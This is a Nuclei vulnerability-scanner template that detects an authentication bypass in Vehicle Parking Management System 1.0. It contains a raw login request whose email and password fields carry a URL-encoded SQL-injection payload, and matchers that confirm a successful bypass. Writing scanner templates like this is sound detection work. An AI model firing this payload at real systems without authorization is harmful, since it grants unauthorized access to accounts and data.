nuclei-templates/vulnerabilities/other/vpms-auth-bypass.yaml

39 lines
1.1 KiB
YAML

id: vpms-auth-bypass
info:
name: Vehicle Parking Management System 1.0 - Authentication Bypass
author: dwisiswant0
severity: high
# References:
# - https://www.exploit-db.com/exploits/48877
requests:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://{{Hostname}}/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
matchers-condition: and
matchers:
- type: regex
regex:
- "LAGOS PARKER"
- "Login Successfully"
- "location.href = 'index.php';"
condition: and
part: body
- type: status
status:
- 200